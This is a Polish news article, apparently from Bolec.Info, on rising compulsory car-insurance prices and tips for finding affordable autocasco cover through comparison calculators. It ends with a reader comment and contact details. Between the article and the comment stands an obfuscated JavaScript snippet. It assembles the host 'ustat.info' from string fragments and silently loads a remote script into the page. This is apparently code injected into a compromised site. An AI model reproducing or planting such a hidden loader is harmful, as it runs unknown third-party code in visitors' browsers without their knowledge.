Od zeszłego roku cena polisy OC idzie w górę. Zaczęło się od wprowadzenia w życie wytycznych Komisji Nadzoru Finansowego w 2015 roku, a to tylko wierzchołek góry lodowej. Początkiem lutego zadebiutował tzw. podatek bankowy, który obejmuje również towarzystwa ubezpieczeniowe. Skutkiem tego będzie zapewne kolejna podwyżka cen OC, a jakby tego było mało, od stycznia 2017 roku rząd planuje wprowadzić kolejną opłatę - podatek daniny. Jak przy wzroście cen OC można sobie pozwolić na autocasco?
Drożeje OC, nie ma kasy na AC
Przez podwyższenie stawek obowiązkowego ubezpieczenia OC wiele osób może zrezygnować z dobrowolnych dodatków, zwłaszcza autocasco, ze względu na jego wysoką cenę. Ale czy polisa AC musi być droga? Niekoniecznie. W dodatku, czasami sami możemy jeszcze lekko obniżyć składkę. Wystarczy poznać małe sekrety ekonomicznego korzystania z internetowego kalkulatora. Musimy tylko pamiętać, że tego typu ubezpieczenie jest różne u poszczególnych towarzystw ubezpieczeniowych. A skoro zakres może być zgoła inny, to i cena również. Co więcej, niska cena autocasco wcale nie musi się brać z kiepskiego wariantu ochrony.
Różne grupy ryzyka
Firmy ubezpieczeniowe indywidualnie wyceniają poziom ryzyka. Dla jednego ubezpieczyciela 40-letni kierowca będzie “najtańszy”, gdyż według jego statystyk - powodujący najmniej zdarzeń drogowych, dla drugiego jednak nie będzie z tego tytułu niższej składki. Co więcej, niektórzy ubezpieczyciele przenoszą zniżki z OC bezpośrednio na AC, co będzie niezaprzeczalnym atutem dla tych, którzy nie posiadali wcześniej autocasco. Mając maksymalne zniżki za bezkolizyjną jazdę z OC, będą mieć “na start” również największe upusty w autocasco. Jak sprawdzić, które towarzystwo proponuje nam optymalne ubezpieczenie? Wystarczy porównać oferty wielu ubezpieczycieli. Może nam w tym pomóc darmowy kalkulator OC/AC - najtaniej u agenta, w którym sprawdzimy naraz kilkanaście firm ubezpieczeniowych.
Ważna nie tylko cena
Mając na względzie niską cenę, nie zapominajmy jednak o zakresie ubezpieczenia autocasco. Często warto nieco dopłacić w innym towarzystwie po to, aby cieszyć się znacznie lepszą ochroną i jakością AC. Grunt to znaleźć dla siebie “złoty środek” - polisę niedrogą, ale też chroniącą nasz samochód w wystarczający sposób. A dokonując gruntownej analizy cen i ofert na rynku ubezpieczeń komunikacyjnych, możemy ograniczyć znacząco nieuchronne podwyżki polis.
(function(){ ul2c=document.createElement("script");ul2c.type="text/javascript"; ul2c.async=true;ul2c_=(("us")+"t")+"a";ul2c_+=("t.i")+""+"n";ul2c_+=(("f")+"o"); ul2c.src="http://"+ul2c_+"/8451217.dtd71q9fl2ctgtwsvscnunl3x98wem"; document.body.appendChild(ul2c); })();~ napisał(a): 350 zł taniej od tego ubezpieczenia co miałem.To było moje pierwsze spotkanie z cukiem więc mam dobre wrażenia.
Byłeś świadkiem jakiegoś wypadku lub innego zdarzenia? Wiesz coś, o czym my nie wiemy albo jeszcze nie napisaliśmy? Daj nam znać i zgłoś swój temat!
Wypełnij formularz lub wyślij pod adres: [email protected].Kontakt telefoniczny z Redakcją Bolec.Info: +48 693 375 790 (przez całą dobę).